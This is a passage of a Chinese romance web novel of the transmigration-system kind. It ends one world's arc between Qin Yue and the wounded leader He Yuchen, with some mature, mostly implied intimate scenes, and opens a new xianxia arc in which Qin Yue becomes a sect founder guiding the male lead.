看到贺煜臣衣服下伤痕累累的身躯,还有手术后留下的引流管,秦越下意识地想移开了目光。 贺煜臣笑道:“你看,我确实没有在骗你。还好现在的枪伤大部分都是贯穿伤,否则还要想办法取出子弹。” 秦越看着他都这样了还能笑得出来,心里不知是难过还是生气。他又不想太快地低头服软,只好咬着牙:“新闻上说你没有脱离危险,我是来看看你死了没。” 贺煜臣听到这话,反而笑得更大声。他的动作扯到了伤口,当即疼得脸色一白。 他倒抽着气,跟秦越解释:“没伤到要害,现在外界的消息都是给人下套的,看看元老院里到底有多少心思不纯的人。” 秦越垂眸看着贺煜臣,他缓了很久,才说出了他在来的路上涌现的不好猜测。 “你受伤也是计划的一环吗?” 贺煜臣重新合上衣服,似乎想调整一个舒服的姿势,发现怎么动都会牵扯到伤口后,他放弃了,抬头看向秦越满不在乎地说:“不卖给那些人一些破绽,他们再蠢也不会进套的。” 秦越脸上没有什么表情,“……你疯了。” 贺煜臣笑了:“或许吧。” 他一点也不在意秦越的说他疯了,他更在意的是秦越还愿意回来见他。 秦越一走就是半个多月,贺煜臣并非不知道他到底去了哪里。联邦里到处都是贺煜臣的眼线,实际上他若真想逼人回来,有的是办法。 就跟医疗署的女教授想的一样,他希望秦越能心甘情愿的自己回来,而不是因为自己的施压。 贺煜臣强打起精神,他在伤势上确实没有骗秦越,说了几句话就有些倦怠,“你不生气了?” 秦越怒极反笑:“我为什么不生气?” “……”贺煜臣强撑着云淡风轻的表情,额头上渗出的冷汗暴露了他的痛楚,他闭上眼,过了好一会似乎是适应了疼痛,“你过来一点,我告诉你为什么我要那样做。” 秦越看了看周围,没看见毛巾,只好抽出桌子上的纸巾,想替贺煜臣擦擦额头上的汗。 正当他站定在贺煜臣床边的时候,贺煜臣猛地起身攥紧秦越的胳膊往下一拉,秦越被这不大不小的力道拽得俯下了身,他惦记着贺煜臣身上一层又一次的绷带,怕影响到对方的伤口,只好顺着贺煜臣的动作。 贺煜臣的吻来得很突然,秦越牙齿都撞到了贺煜臣的嘴唇上。 贺煜臣摸了摸下唇刺痛的地方,看见指尖上的红色,神情还是跟平常没有什么区别,挑衅似的对秦越说:“你说的对,我确实疯了。所以我做事也没有理由。” 秦越没理会贺煜臣像刺头一样刁难的话,他用手撩了一下因为匆匆忙忙赶来落下的额发,略微闭了闭眼,才压下了心头的火。 他脾气说不上好,到现在还没发作,已经算得上客气了。 秦越在贺煜臣不解的目光中,关上了带着镇痛效果的点滴,他跟贺煜臣刚才的表情一样,嘴角抬起露出一个冷笑,随即指尖毫不客气地按上了贺煜臣的伤口。 “疼么?” 贺煜臣瞳孔猛地涣散,他脸上空白了一瞬,愣是硬生生地压下了痛呼。 “说话。”秦越垂着眼,语气平淡的像陌生人,“还是你想一直这样耗着?” 贺煜臣咬紧下唇,本来就破了皮的地方,再一次渗出了血丝,他几乎是用气声半天才吐出一个字。 “……疼。” 声音很轻,贺煜臣也没指望秦越能听见。秦越生气是应该的,自己受到这样的对待也是应该的。 他疼得脑子混沌一片,身体也无意识地哆嗦起来。 秦越很快就松开了手,重新打开了点滴,“知道疼,证明你还算正常。”他冷下了脸,拉过一边的椅子坐了下来,摆出一幅质问的架势,“现在能好好说话了吗?” 贺煜臣额头一片冰凉,汗湿的衣服黏在身上难受得厉害。 秦越:“门口看守的人为什么知道我会来?” “我是在赌罢了。”贺煜臣明白秦越气在哪了,急忙道:“我又不会拿自己性命开玩笑。只是借此机会……”想看看你气消了没。 秦越凑近了些,瞧着贺煜臣不像撒谎,他便替贺煜臣擦拭着额头的冷汗,“医生有说什么时候能好么?” “他们自然是说要观察久一点。”贺煜臣想说他伤口不疼了就出院,可见到秦越皱起的眉头,又硬生生地咽了回去。 秦越总觉得哪里不对,他琢磨了好一会问道:“顾夜霖呢?” 他拿命给贺煜臣换了这么一个圣母助手,有顾夜霖这个话疗高手在,贺煜臣的风评怎么也不该如此恶劣啊? 听到顾夜霖的名字,贺煜臣像是回忆起了什么不太好的东西,“你问他干什么?” 本来他就因为顾夜霖的原因让秦越差点送命,对顾夜霖印象很差,更别提做梦梦到自己跟顾夜霖同床共枕这种膈应的事情了。 秦越:“……” 怎么听着男二跟男主不太熟的样子。 贺煜臣问他:“你好像一直很关注他?” 秦越:“我是在担心你。” 秦越还在纠结小世界的事业线怎么也走歪了,当下无意识地说出了心里话。等到他发觉到的时候,话已经收不回来了。 “……我很高兴你会这么说。”贺煜臣的眼睛亮晶晶的,仿佛一切伤痛沉疴都离他而去了。 这时候,他又不像传言中暴政的昏君了。 秦越:“如果我一直没有来,你打算怎么办?” “我已经习惯了一个人处理事情。”贺煜臣被问得一愣,这才反应过来,自己并没有设想过如果秦越一辈子躲着他的情形。他的心跳不自觉地加快,又想故技重施地拽住秦越的胳膊,“你是不是想走?” 多古怪的一个人啊。 秦越叹了口气,明明贺煜臣眼中的占有欲都要溢出,却没做任何强制的事情。 门口那么多军队的人,他不过是个普通人,贺煜臣硬要把他留下来只需要一声令下。 虽然秦越胸口隐约还有翻滚的怒意,但他确实有些不忍了。 “对不起。”贺煜臣见到秦越依旧无动于衷的样子,眼里的光亮被掐灭了。“你走吧。” 贺煜臣知道自己很无理取闹,无论是对秦越隐瞒关于异能的真想,还是刚刚……自己强吻了他,都说不过去。若是换个人,可能都要跟他不死不休了,秦越是个好人,而自己是个不折不扣的烂人。 秦越起身,没有走向大门,反而站在了窗前,他从这里可以眺望很远,远到曾经被污染气体笼罩的下城区。 “我遇到了以前的邻居。”秦越话题一转,“对了,听说你到处跟人说我死了。” 贺煜臣还没反应过来他想掩藏的事实,被秦越当做玩笑话说了出来,又听到秦越抱怨道:“他拉我做听众,夸了你好久。” 秦越将视线从看不出旧模样的下城区移开:“你会成为一个改变联邦命运的掌权人。” 在原文里,贺煜臣在后世的评价中很是别具一格。 其在御座上的神性与独权冷血的人性,都是各方学者津津乐道的,他的风评好坏也在所有人的争执中此消彼长。但毫无例外的是学者们都肯定了贺煜臣在政治方面的成就。 贺煜臣不是第一次听到秦越说出这样类似的话,着实不明白为什么秦越会对自己评价那么高,他苦涩地笑道:“这个头衔太重了,我一个人可承担不起。” 秦越拉上了窗帘,还顺手把室内的灯关上,“我什么时候说你要一个人了。” 他把贺煜臣的病床调低,不由分说地替他掖好被角。 贺煜臣被结结实实地压在床上,他听明白秦越的意思了,一时间不敢确认。 “睡觉哪有睁着眼的。”秦越虚拢住贺煜臣的眼睛,不容置喙地说:“你累了,可以休息了。” 别以为他没看出来,贺煜臣精神差得很,说话间感觉随时都要阖上眼了。 贺煜臣虽然乖乖闭上了眼,但手还是固执地抓住了秦越的衣角,生怕这人又一声不吭地跑了。 很快贺煜臣就睡沉了,被磕破的下唇上留了一个不起眼的血痂。 正当秦越被血痂吸引了注意力时,系统冒了个头,垂头丧气:[宿主,事业线好像也完了啊。] [您要申请脱离吗?] 秦越并不认同系统的话,“完了吗?” 他倒是觉得未必。 历史上单薄的一页,足以衡量一个人的一生。 而在联邦历史上留下浓墨重彩的一笔的贺煜臣,他的政途,他的事业,他所有的一切,才刚刚起步。 一如秦越所预想的那样,没有顾夜霖的帮助,但有他这个熟知剧情的bug,贺煜臣的路比原文中更坦荡了。 贺煜臣一开始并不同意秦越参加任何战事,他总是以秦越是个普通人为由拒绝。秦越向来借力打力,会反问贺煜臣自己失去异能都是因为谁的“功劳”。 他们常常会由于战线太长而分开,又会在久别重逢时静静地听彼此的心跳。 很多年以后,编纂历史的学者考虑是否要把贺煜臣临终的话加上去。 因为这个穷尽一生消除感染者的统领,去世前并没有给后人留下任何激励的言语,反而仅仅只提到了一位姓秦的执政官。 他说:“请将我葬于他的身边。” 当人们问及这位执政官到底是谁的时候,贺煜臣留下了最后一句话。 ——我的盟友,我的救赎,我的……挚爱—— 作者有话说:怎么一说酱酱酿酿就人心[黄心][黄心],我是正经人[化了] 最后一个世界大概是替身文世界,也可以叫找错了助攻对象怎么办[好运莲莲] 第63章 聚少离多,是他们这几年的相处最佳形容词。 譬如今天,贺煜臣难得的回来了,只不过他是过来取些材料,顺便告知秦越自己这一次任务要持续三个月之久。 秦越沉默地点头,随后说:“我想跟你一起去。” 贺煜臣笑了笑,拒绝了他的要求,“不行,有别的任务安排给你,这事让别人处理我不放心。” 他拖下外套挂在门口的衣架上,现在衣架旁墙壁上,挂着的是他跟秦越的双人画像。 秦越到现在也没搞懂,贺煜臣怎么心血来潮非要请人来作画,他向来不是什么形式主义的人。 经过秦越的时候,贺煜臣蜻蜓点水地在他唇上落下一个吻。 秦越还没嗅到贺煜臣的气息,对方就若即若离地离开了。他不满道:“那么快。” 贺煜臣的目光在秦越脸上停顿几秒,有些难以启齿,随后将目光下移到对方腰线以下的位置。 亲久了他会有反应,到时候尴尬的只有他自己。 秦越明白过来了。 但是,原主不行,关他什么事? 不过,如果反驳了贺煜臣,又证明了他不是原主。 秦越陷入了一个电车难题。 贺煜臣像是在照顾他的自尊,没有继续说什么就绕过了秦越,进屋准备将一些材料整理带走,他认为眼下不是解释这种事情的好时机。 并且贺煜臣并不认为情侣间没有亲密行为,就会很难维持这段关系。 系统:[哇噢,这就是你们人类所说的七年之痒吗?] 秦越:“……” 系统小脑袋瓜子一转,拍了拍胸脯:[交给我吧。] 秦越顿觉不好,“交给你什么?你要干什——” 眼前被蒙上了黑暗,像是电脑被掐断了电源,又被不容分说地唤醒。 秦越缓了一会,才把眼前的黑暗驱散开来,可等他看清楚身处的地方,眼前又是一黑。 这指定哪里出了问题。 因为秦越面前熟悉的布局告诉他,这是自己在曾经废墟遗迹的家。 这怎么可能呢。 这片废墟早就被联邦改造,成为新的人类居住点,而他曾经的家所处的地方,也被重新推平改造成了一个高校,贺煜臣还曾来这个学校做过致辞演讲。 手上冰凉的触感驱使着秦越低下头,他发现自己正捏着一个不知道做什么的遥控器,而他的手指正好死不死地按在某个档位上。 一道冷冷的声音在房间里响起来:“玩够了么?” 秦越一愣,但贺煜臣锋芒毕露的杀意让他顿时回过神,“等等——” 心脏瞬间被一双无形的手无情地拧住,秦越捂住胸口,面色惨白地缓缓倚靠在墙壁上,他艰难开口,“贺少将,你……下手未免也太重了吧。” 听清楚这个称呼,贺煜臣满含戾气的脸空白了片刻。 秦越很少会喊自己曾经的军衔,顶多是打趣或者亲昵的时候才会那么做,这也成了他们彼此之间为数不多的小暗号。 贺煜臣其实也是强弩之末,连手指都抬不起来,刚刚属实是以为自己遇见了原主,气急攻心之下差点把他弄死,现在危机蓦得过去,憋着得那口气也散了,整个人撑不住瘫软在了床上。 “过来帮我。”贺煜臣在说完这句话,喘了一口气,不受控制地发出一声呜咽。 秦越目光又落在了贺煜臣身上。 对方穿着一件白色的衬衫,衣料很透,可以清晰地看清对方精瘦的腰身。当上统领之后的贺煜臣很少穿白色,他更偏向于黑色,这种跟军装差不多的沉重基调。 秦越因此还会时常打趣他,穿得死气沉沉的。贺煜臣不置可否,他只是觉得这样更有压迫感罢了。 “你看够了没有?” 贺煜臣的语气中带上了一些恼羞成怒。 秦越听到贺煜臣轻微的喘息声,意识到了好像事情有点大条。 他走向床边:“你哪里不舒服?” 秦越这才注意到对方手腕还有脚腕上清晰可见的绑痕,脑袋一懵。 他什么时候玩的那么花了? 秦越尽量让自己不要注意到贺煜臣断断续续的呻吟声,想迅速地把那些材质特殊的绳子解开。绳子的材料很柔软,可以很轻易地弄出痕迹,却又不会因为过度挣扎让皮肤被磨破。 他脚尖踢到床下的一个箱子,发出沉闷的响声,秦越下意识余光瞥了一眼下面,露出一角的箱子明晃晃地展示它里面的东西。 这特么不是原主装满小道具的箱子吗! 我这是到哪了? 秦越虽然脸上面无表情,手上还在机械地解着绳子,心里正如临大敌地盯着贺煜臣,他尚不清楚这到底是哪位贺煜臣。 贺煜臣的脚踝碰到秦越冰凉的指尖,只是这样的触碰,就让他忍不住一阵打着颤。贺煜臣抖得厉害,秦越本来就心烦意乱,绳子越解越紧,他也顾不了那么多,只能用力捏住对方的脚踝,把绳子拆开。 一通操作下来,两个人头上都出了汗。 贺煜臣眉头紧蹙,秦越很难分辨他脸上的表情到底是欢愉还是痛苦。 “帮我……”贺煜臣支离破碎地扯出几个字,“把它取出来。”他很想自己解决,但试了几次都是徒劳。可能是因为之前小腿绷得太紧,现在不自然地痉挛起来。 疼痛和快感交织,让他昏昏沉沉。 秦越这会明白了,刚刚手上拿的像个遥控器一样的东西是什么了,也知道那个遥控器到底是操纵什么的了。 他赶紧把开关关掉了,说了声抱歉,然后又手足无措地僵住了。 贺煜臣攥紧身下的被子,呼吸凌乱。他盯着不打算帮忙的秦越,把自己逼到这种境地的人却冷酷的无动于衷。他语气委屈又难堪:“就因为我没有亲你……”你就这么对我。 秦越确定了,眼前的人是他的贺煜臣,至少不会在事后翻脸不认人地把他弄死。 看着贺煜臣可怜的表情,秦越忍住了不自在的感觉,试探性伸出手地摸索着。 贺煜臣睫毛都被生理性的泪水弄湿了,他眼泪像是止不住,随着难耐的姿势不停从眼角渗出。秦越都觉得贺煜臣快要脱水了。 “还是不舒服……”贺煜臣失神地望着天花板,磕磕绊绊地表述着不适感。 秦越没一点办法,东西早就取出来了,但贺煜臣还在一直蹭他,像是不知道怎么纾解这种难以启齿的痛苦。 “是你让我帮你的。”秦越咬牙凑近贺煜臣耳边说道。 贺煜臣根本听不见他在说什么,只能凭着本能,狼狈地想从秦越身上获得快感。 等到贺煜臣累得窝在一旁睡着,已经不知道荒唐几轮了。 秦越确定贺煜臣睡着后,起身掀开窗帘,发现室外不是阴雨连绵,也没有其他伫立的废弃烂尾楼,只有一片纯正的黑。 仿佛他们这间房子是漂浮在虚无中。 秦越凝视了一会,窗外的黑变了颜色,逐渐开始有了形状,最终变成了秦越熟悉的首都天际线。 秦越思来想去后,他沉着脸地叫出系统。 系统邀功似的腆着脸过来了:[宿主宿主,您对我们激情重燃套餐感觉怎么样?是不是又有初恋的感觉了!] 秦越重复:“激情重燃?” 他一字一句:“感觉怎么样?” 系统也是学会先斩后奏了。 他差点以为这个bug跟奶酪上孔一样多的世界,又出现了不可逆转的bug。 秦越只有辛辛苦苦多少年,一朝回到攻略前的惊吓。 系统没察觉到他的不虞:[对呀对呀,我很有眼力见的,为了维护你们的感情,于是我特意为您申请了这个套餐,不要太感谢我!现在套餐结束了,所以刚刚布置的道具都消失不见啦。] 大概就跟做了一场春梦差不多。系统心想简直无痛无害,真是没有任何后遗症的促进感情好办法。限制文助攻局的前辈们诚不欺我,果然没有什么误会是做一次不能解决的! [请给我们提供的套餐评分,五到一分,五分是好评,一分是差评噢。] 秦越呵呵:“为什么没有零分。” 系统:[QAQ,不要这样吧宿主。] 秦越没理它了,看着睡姿很变扭的贺煜臣。 贺煜臣正蜷缩在床上,可怜巴巴地只占据了一点点位置,阖着眼呼吸轻浅。 秦越没忍住戳了戳贺煜臣下垂的嘴角,对方连睡着了都那么不高兴,似乎重担从不曾从他肩头卸下。 “好了,给你打了满分。”秦越眼神暗示系统可以滚了。 系统很满意,狗腿地消失了:[得嘞,小的这就告退。] 贺煜臣眉头略微动了动,他一向睡眠很浅,被秦越的动作给弄醒了。 他迷迷糊糊睁开眼,发现秦越正半靠在床头,哑声道:“到点了吗?我是不是要走了。” 不知道为什么,平时很难入眠的自己,今天一没留神居然睡着了。 秦越扣紧贺煜臣的肩膀,把人揽向自己,“还早。” 贺煜臣顺着他的力道侧过身,手臂顺理成章地搭在秦越的小腹上。 他闭上眼呢喃地说:“第一次这么浪费时间。” 贺煜臣作为一个进化掉睡眠的优质男性,赖床是被他绝对禁止的。 秦越调整姿势让贺煜臣更舒适地陷入臂弯,他下颌蹭过贺煜臣的发顶,低声道:“跟我待一起就算浪费时间了?” 贺煜臣累得要命,在睡着前还是强撑着嘟囔了一句:“我以前怎么没发现,你还喜欢强词夺理。” 窗帘缝间跃动着金光,秦越知道已经是早上了,但他不打算叫醒贺煜臣。 因为,他们还有很多时间要“浪费”—— 作者有话说:说了酱酱酿酿就是有酱酱酿酿。 [捂脸偷看]被我虚晃一枪了吧 下个世界:助攻错对象的剑尊攻*野心家替身受 第64章 洞府里,没有一丝光亮,连风也不愿路过这里,静默得如同坟场,只微弱突兀地传来几滴水声。 满墙的爬山虎微微颤动着,良久它汇集出一滴不知从何而来的无根水,悄无声息地渗入地面。 秦越眼皮微动,他缓慢睁开眼,还带着一丝未褪去的茫然。 脑海里有个机械音,叽里呱啦蹦豆子似的,跟他讲了一通话。 秦越听得脑仁疼,从对方公文式的言语中,得知了自己出现在这的原因。 他低头打量了一眼自己身上的衣物,推断出是个古代世界。秦越随口问起系统自己之前的任务情况。 [……45分。]系统找补了一句,[但是1027号员工,您那么厉害,一定是上个世界的身份影响了您的发挥!] 它还敢没说白月光的助攻评分是零蛋,有45分还是因为上个世界勉强让男主的事业线没崩。 秦越视线逡巡四周,这里是个光线都很难透过的山洞,他穿来的时候,原主正阖目在一处石床上闭目打坐。 洞内并不算大,秦越很快在里面绕了一圈。 秦越:“?” 系统:[:)] 秦越:“原主是犯了什么天条吗?连个出去的门都没有。” 系统收回邀功的微笑,赶紧说明:[不不不,您这次身份可大有来头。因为上个世界我向助攻局反应了这个情况,他们表示这次让您有绝对的主动权!] 虽然不知道上个世界为什么评分为何那么低,但绝对不可能是它敬爱的宿主的原因。 秦越对系统的信任度为零,他自己粗略地将故事大概看了一遍。 这是个仙侠世界,男主祁鸿羽是当今修真界第一宗门太虚神霄宗的弟子,其父母在他年幼时被妖族杀死,祁父临死前将男主托付给前来救他的好友,也就是祁鸿羽的白月光,太虚神霄宗的长老慕温瑜。 两个人一直保持着亦师亦友的关系,祁鸿羽却被人发现他身上藏有妖族血脉。原来当年妖族偷袭他家,是想将他母亲这个妖族叛徒捉拿回去,结果一番殊死搏斗之后,祁鸿羽父母双亡,来执行任务的妖族也被随后而来的慕温瑜尽数除去。 祁鸿羽身份因此阴差阳错地隐瞒下来。 慕温瑜并不知晓祁鸿羽血脉问题,直到两人产生了情愫,慕温瑜本就因为对徒弟产生了不伦之情而懊恼惭愧,得知祁鸿羽是妖族后裔后,更是方寸大乱。 于是两个人展开了一轮“你听我解释”“我不想听”“我知道这很难解释”的拉拉扯扯后,男主黑化了,直接叛离宗门,成为新一代的妖王。 秦越看到祁鸿羽杀回给他扣黑锅的太虚神霄宗时,就差不多知道了,男主一定是失手把他师父给杀了。 果不其然,他看到祁鸿羽入魔后,把想阻止他的慕温瑜给一剑封喉,若不是太虚神霄宗的创始人帝命剑尊,留下的一道剑意,把他给震清醒了,男主眼看就要变成毁天灭地的大反派了。 系统安慰秦越道:[这次任务是不是很简单,因为男主和白月光互相有好感的,所以只需要替他们解开心结,让男主不要黑化就行了。] 秦越试探:“我是……男主?” 系统摇头:[不是哦。] “我是慕温瑜?” 系统继续摇头:[不是哦。] 秦越再一次翻阅原文,里面没有跟他同名同姓的人,所以哪个人都可能是他。 结合系统说他这次身份尊贵,很有主动权,秦越大胆猜测:“我是太虚神霄宗的宗主?” 一宗之主独自一人闭关,的确很合理。 系统笑容满面:[您是宗主的师父的师父的师父的师父……] 秦越:听上去是个什么老不死的怪物。 系统特兴奋:[您就是太虚神霄宗的创始人帝命剑尊呀,据传他一世无双,授命于天,创立完太虚神霄宗后就再无消息了。] 秦越颇为惊讶:“他居然还没死?” 毕竟这个世界虽说是修仙世界,但所有人的寿命都是有限的,并不能真的跟神仙一样,不死不灭。 系统:[实际上是这样的,帝命剑尊他老人家在大限将至时,就已经感受到上天界的诏令,所以他并没有直接魂归天地,反而是只需经过三道天雷,便可得道成为剑仙。但是您懂得,历天劫只有两个结果,一个是原地升天,另一个也是原地……升天,简单来说,就是魂飞魄散。] 秦越懂了:……这个剑尊很强,但过分谨慎。 他无师自通地感受到浑身澎湃的灵力,也感受到洞府外贴得满满当当的符咒,用以遮掩他的气息,免得被雷劈。 系统慷慨陈词:[您想想,您作为一个那么牛批的人去教导男主,让他不要黑化,要peaceandlove。这不是信手拈来吗!] 秦越呵呵一笑,充耳不闻,生无可恋地躺回到石床上:“强,确实很强。” “但是你有没有想过,我出门就会被劈。如果成功,我上天了跟这些人生死不见。要是失败了我直接就地埋了,你打算让我怎么完成任务?” 系统的笑容僵在脸上,[啊这……] 完!蛋!了! 系统学着秦越之前的样子,在洞府里飘了一圈,然后绝望地发现秦越说的是对的。 洞府里面空无一物,原主除了冥想打坐,啥也不做,每天全靠修炼打发时间。 刚落地五分钟就要脱离世界,助攻局会不会把自己辞退了?系统痛苦地嚎了一嗓子。 等到做完了心理建设,系统准备招呼秦越原地撤离的时候,它看见秦越并没有继续待在石床上,反而在那观察墙壁上的爬山虎。 秦越指尖燃起一撮火光,在洞府里把周围照的一清二楚。 “好奇怪的感觉。”秦越当然没有修过仙,他现在就像是一个突然从0级一下子跨越到满级的小白,拥有足以睥睨天下的能力,却不知道如何使用,“我好像能附着到这上面。” 系统没懂:[什么意思?] 然后它目瞪口呆地看见爬上虎翘起了藤蔓,还晃晃悠悠地上下移动,似乎正朝着它点头打招呼。 “爬山虎”和秦越同时说话了,“你看见了么?” 系统结巴:[看看、看到了。] 原来帝命剑尊早已到了可以分离元神的境界了。 秦越重新回到石床上打坐,他并没有敢把所有元神分离出去,因为还不清楚天雷是不是不管他肉身在哪,就照样直接朝他元神劈。所以秦越留了个心眼,让脱离出的元神略低于当年原主受到诏令时的。 “现在的剧情点?” 系统不久前所有的挫败,都化为了满腔的激情,它现在充满干劲。 [唔,祁鸿羽刚刚打了人,触犯了门规,应该要准备受罚了。] 脾气倒是不小。 秦越挑了挑眉,他马上亲自去会会男主,让祁鸿羽知道什么叫爱的教育- 相传太虚神霄宗里藏着一道剑尊悟出的剑意,故每逢太虚神霄宗开山门论道时,说句门庭若市不算夸大。 马上就要到太虚神霄宗每隔十年开山门的日子了,宗内慕长老的一名弟子,却与外宗弟子发生争执,更是不由分说把人打得鼻青脸肿。 “师尊。”一道满含忧虑的声音响起。 慕温瑜回过头,发现是自己的大弟子,对方的愁容并不比自己少。 “都是我把太纵然他了。”慕温瑜气不打一处来,可一看祁鸿羽背上的鞭痕,又心疼起来,他边给祁鸿羽上药,边咬牙切齿地说:“你非要跟外人打架做什么!宗内严禁械斗你又不是不知道!” 祁鸿羽被药酒刺激得龇牙咧嘴,嘴上仍旧不服气:“那是因为他说你坏话!你脾气好,我可不惯着他们!贺师兄你说,你要是在我那个位置上,你不生气吗!” 贺煜臣微微摇了摇头,“师弟,你就别气师尊了。” 与他脸上的担忧相反,贺煜臣心里没有一分波动,只有冷漠的旁观。 门外戒律堂的弟子开始催促了。他们是看在慕温瑜的面子上,才同意让祁鸿羽中途回来上药的。其余犯了戒律的弟子可没这种待遇,他们受过刑罚后,是直接关禁闭十天的。 贺煜臣看着满脸不忍的慕温瑜,提议道:“我跟师弟长得差不多,让他把身份令牌和衣物跟我换一下,我替他去关禁闭吧。” 慕温瑜虽说着不太好,但态度已然犹豫起来。 贺煜臣笑道:“关禁闭又不是什么大的刑罚,顶多是无聊些罢了。还是让师弟在这好好养伤吧。” 慕温瑜愧疚万分,“是鸿羽拖累了你,他但凡有你半分缜密,也不会让人牵着鼻子走。” 听到这话,祁鸿羽不满道:“我才不要别人替我,我一人做事一人当!” 慕温瑜火了,重重地将药瓶用力掼在桌子上:“闭嘴!” 祁鸿羽没被慕温瑜那么凶过,瞬间眼眶一红,喘着气不说话了。 贺煜臣冷眼看着,他习惯了慕温瑜总是对祁鸿羽格外偏爱,也习惯了祁鸿羽对慕温瑜没大没小的说话。 他懒得猜其中密辛龌龊,就算两个人违背师徒伦理硬要在一起,他也只会送上真心实意的祝福。 而贺煜臣能容忍他们在自己面前不分场合的卿卿我我,还有个原因是慕温瑜是现任宗主的师叔,说到底他辈分甚至高于现任的宗主。 慕温瑜起身郑重地说:“我听闻藏书阁正在招揽新一批的护卫,本来想让你俩一起去试试的。”他看了看祁鸿羽,恨其不争地说:“至于你,还是好好想想为什么会挨罚吧。” 说完,慕温瑜拂袖而去。 藏书阁高层不对普通弟子开放,非长老不得入。当上护卫的好处,就是可以趁巡逻的机会,得以观摩典籍领悟心法。 贺煜臣对祁鸿羽长得和他有几分相似,并无太多厌恶。相反他觉得这是气运的眷顾,否则当初从不收徒的慕温瑜,也不会对他网开一面。 只是贺煜臣对慕温瑜那幅师徒深情的样子感到无趣。 若不是祁鸿羽愚钝,今日真的触怒了慕温瑜,这个名额怎么也轮不到自己。 不过慕温瑜利用他让宝贝徒弟得以有机会养伤,而他利用慕温瑜,是想更快地接近太虚神霄宗的权力中心。 为此,他愿意付出一些代价,至于今天替不省心的祁鸿羽关禁闭,对贺煜臣来说,这都算不上什么。 贺煜臣当年也算是天赋出众,之所以毫不犹豫地拒绝了其他宗门递来的橄榄枝,独独选择太虚神霄宗,自然是有自己的私心。 ——他也是为了寻那一道剑意而来的。 第65章 戒律堂弟子深知祁鸿羽是慕温瑜的爱徒,特别是慕长老刚刚还一脸怒意地出来,他们也不愿在别人触霉头的时候,还不知轻重地多嘴多舌,所以只瞥了出来的“祁鸿羽”一眼,就匆匆带着他就往后山思过的地方复命去了。 跟大部分宗门一样,太虚神霄宗也是临山而立,据说是剑尊当年行至此处,突然有所感悟,便在此地驻足,那道不知藏在何处的剑意,也是那时顿悟出来的。 戒律堂弟子到了地方后,低声道了一句得罪,便把拘灵锁扣在贺煜臣手腕上,他们将一个沙漏倒扣在贺煜臣面前,告诉贺煜臣等到流沙漏尽时,他们自会过来接他离开。 思过的地方没有名字,太虚神霄宗的弟子背地里都叫它鬼哭洞。 环形的山洞里,中间有一道垂直而下的瀑布,飞溅的水打湿了内嵌在崖壁上的洞穴,风在这里没有出处,只能无望地钻过一个个洞穴,发出鬼哭狼嚎的幽咽声。 贺煜臣只看了一眼手上的拘灵锁,就阖上眼就地打坐。拘灵锁可以压制体内的灵力,想要从鬼哭洞里跑出来是绝对不可能的。 不知过了多久,墙壁上开始时不时地传来咚咚的声音。贺煜臣本不想搭理,可是这个动静没完没了一样,忽远忽近且毫无规律地敲来敲去。贺煜臣眉头抖了一下,他睁开眼带着愠怒和诧异地看向了隔壁。 因为鬼哭洞里洞穴众多,戒律堂安排思过的地方,一般不会有人相邻。 隔壁的人好整以暇地收回手,自来熟地问道:“你是祁鸿羽么?” 贺煜臣视线透过山壁上的孔洞,在对方脸上审视了两秒,又收回了目光。 不认识。 看打扮也就是个普通的外门弟子,贺煜臣连敷衍的心思都没有。 秦越抱着双臂,疑惑地跟系统对视了一眼。 他元神离体后,立刻就前往了太虚神霄宗。好笑的是,这位太虚神霄宗老祖当年建立宗门估计是一时兴起,收了几个徒弟后,没多久就索然无味了,然后云游四海去了,再也没回来过。 导致秦越在原主回忆里找了半天,才终于“记”起来宗门在哪。 秦越跟系统在太虚神霄宗内飘了几圈,路过宗门里主修符箓的天机峰,顺手拿了峰主花了七七四十九天写的一个化形符箓。 可怜的天机峰主本是打算将符箓贴在自己的神偶上,用以请神扶乩,他前脚刚去给宗主报告符箓已成,后脚就被秦越顺手牵羊。 等到秦越凝化出一个实体时,他从旁边路过弟子的闲言碎语中得知,祁鸿羽已经被关进鬼哭洞了。 本想在祁鸿羽被关进去前,直接神降表明身份,给他开个后门。反正天大地大,宗门内他这个老不死的最大。 可是眼下已经迟了,只能指望祁鸿羽跟慕温瑜之间还没生间隙。 原文里祁鸿羽虽说是个一点就炸的炮仗,但根据读者的评论来看,他绝对是那种小太阳的人设,除了没长脑子,做事冲动外,对待陌生人还算热情。 秦越又看了一眼隔壁的“祁鸿羽”,他施舍给自己一个眼神都显得费劲,敷衍都不屑于去装。 “祁鸿羽”长得一张薄情寡性的脸,因为洞穴内潮湿阴冷,薄唇被冻得发青,可刚刚落在自己身上的视线又充满警告和厌恶。 这难道是快要熄灭的太阳么? 系统看了看原文,又看了看贺煜臣。它钻过洞壁上的洞,看清了挂在贺煜臣另一侧的身份名牌,十分肯定地对秦越说:[没错,这就是男主。] 秦越虽没看过几本仙侠师徒文,但在路上也被系统喋喋不休地狠狠科普一番,他现在很确定一件事。 那就是男主因为被师尊误解,内心难过委屈,觉得世界上最亲近的人都不理解自己,已经开始在黑化的道路上了! 系统大惊:[那咋办!] 秦越向来更喜欢动手而不是动口,他对这种情情爱爱实在是难以理解。 而且明明原主当年开创的是无情道。 是无情道啊! 结果一个两个都在谈情说爱,还要死要活,动不动就要天下苍生陪葬。 秦越扶额,他虽不理解,但他知道人一旦恋爱脑起来,逻辑和理智就会降为零。 “还有一个办法。” 系统握拳,[请说,我一定配合。] 这个世界的任务,系统觉得简单还有一个原因,就是帝命剑尊很早便行踪不定,变成了修真界里代代相传的一个脸谱化形象,身份不详,俗名不知,甚至亲眼见过剑尊的人通通都投胎几轮了,所以人设不存在崩坏的可能。 它只需要听话地配合秦越就好了。 秦越眉眼微垂,他低头看向自己的手掌,随即缓缓握紧。 “他如果是这个世界上最尊贵的人,说话便是真理,举手便是臣服,谁还敢质疑他到底是什么身份,又是何种血脉。” 秦越眼底掠过一丝戾气:“说到底,还是因为男主前期太弱了。” 所以,他什么都做不了。解释,无人在意;反抗,只会遭到更重的打压。 系统猛猛点头赞同:[所以呢所以呢?] 秦越眼型狭长,黑沉沉地望过来的时候,系统还是不由地打了个寒颤,它以为自己已经习惯了秦越这种凛冽疏离的长相。 “我来教他。” 秦越认为祁鸿羽现在菜得离谱,最大的可能性是慕温瑜教学生有问题。 都说严师出高徒,而慕温瑜对祁鸿羽总是太过纵容,不忍心见他叫苦叫累。他还不肯承认是对徒弟有了感情才如此偏爱他,逃避似的告诉自己只是心疼祁鸿羽没了双亲,故此睁一只眼闭一只眼。 这么教徒弟,自然教来教去,教出了一个废物。 祁鸿羽没见过什么世面,也没经过什么锻炼。很多危险的任务,都是由慕温瑜的另一个徒弟做的。 但是在弱肉强食的修真界里,哪一个大能不是刀尖舔血走过来的。 